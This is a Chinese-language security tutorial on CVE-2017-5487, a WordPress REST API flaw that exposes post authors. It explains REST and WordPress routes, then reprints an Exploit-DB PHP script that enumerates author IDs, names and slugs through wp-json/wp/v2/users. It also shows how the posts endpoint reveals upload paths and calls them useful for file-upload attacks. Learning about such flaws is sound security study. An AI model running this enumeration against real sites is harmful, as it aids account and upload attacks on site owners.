: WordPress 4.7.1之前的版本中,wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php的REST API实现未限制发布者列表,导致远程攻击者可通过wp-json/wp/v2/users请求获取敏感信息的漏洞。
(参考:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487)
如果不知道是什么意思,先了解背景知识,再通过实践来学习。
如果觉得不需要背景知识,可以直接看[3]。
: 简单来说,定义了“做什么和怎么做”的API可以称为REST API。
: 更详细地说,REST API是通过HTTP URI定义的资源,利用HTTP方法和Payload来执行操作。
: REST = REpresentational State Transfer 的缩写
2.1 通过HTTP URI定义的资源
: 资源是指被处理的对象
例如:JSON、XML文档、jpg等图片文件、mp4等视频文件等。
: URI是Uniform Resource Identifier的缩写,即统一资源标识符。我们常见的URL也是URI的一部分,指识别某个资源。
例如:通过 http://rootable.tistory.com/user/test 可以获取名为test的用户信息,这也是一种URI。
2.2 HTTP方法
: 该方法无论资源是什么格式,行为都相同。
: REST API中常用的方法有POST、GET、PUT、PATCH、DELETE等。需要注意的是,它们与我们通常认为的功能不同。例如,POST在我们看来是向服务器请求数据或文档的方法,但在REST API中,它执行创建(create)功能。
HTTP方法 CRUD操作 POST create GET read PUT update / replace PATCH update / modify DELETE delete
例:向 http://rootable.tistory.com 的users中添加名为doni的用户的REST API
POST http://rootable.tistroy.com/users/doni
例:创建用户时需要职业、年龄、性别等多种属性时,可在Body部分使用XML或JSON等表达语言进行注册 POST http://rootable.tistory.com/users Content-Type: application/json
{ "username" : "doni" "age" : "27" }
: 前面提到REST API是预先定义如何处理资源的API。那么WordPress定义了哪些REST API呢?
参考下表:
Resource Base Route Posts /wp/v2/posts Post Revisions /wp/v2/revisions Categories /wp/v2/categories Tags /wp/v2/tags Pages /wp/v2/pages Comments /wp/v2/comments Taxonomies /wp/v2/taxonomies Media /wp/v2/media Users /wp/v2/users Post Types /wp/v2/types Post Statuses /wp/v2/statuses Settings /wp/v2/settings
可以看到定义了多种REST API。其中就包含CVE中提到的 /wp/v2/users。
4.1. 获取文章作者信息
下面是从EXPLOIT DB找到的代码。(https://www.exploit-db.com/exploits/41497/)
从代码可以看出,它只是将处理结果整理后清晰显示在屏幕上。即使不直接使用这个漏洞代码,直接访问也能获取信息,因此为了清晰显示,没必要用到FU漏洞。
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
将其保存为PHP代码并在安装WordPress的地方执行,结果如下所示:
直接访问时显示如下(如果看不清请点击):
通过此操作可以获取文章作者的ID、name等信息。
注)原本以为是所有注册用户都可见,但测试结果只显示文章作者的账号。CVE描述中出现了author一词,应该就是指作者的意思。
4.2 获取文件上传路径
WordPress的REST API中有 /wp/v2/posts。访问该接口时,可以看到帖子的相关信息,其中高亮的部分可以获取文件上传路径。如果发现FU漏洞,这将非常有帮助。
/wp-json/wp/v2/posts/20 仅获取第20篇文章的信息。在4.7版本中,查看设置或修改文章似乎也是不可能的。
尝试查看设置时会显示rest_forbidden,被禁止访问。
尝试修改第一篇文章时会显示无法读取文章的消息。
相比查看用户,这会更有用,但有点遗憾……搜索结果显示,没有对应此情况的漏洞。不过,在4.7.1之前的版本中,似乎存在可修改其他用户文章的漏洞。这部分将在下一篇文章中进行。
参考)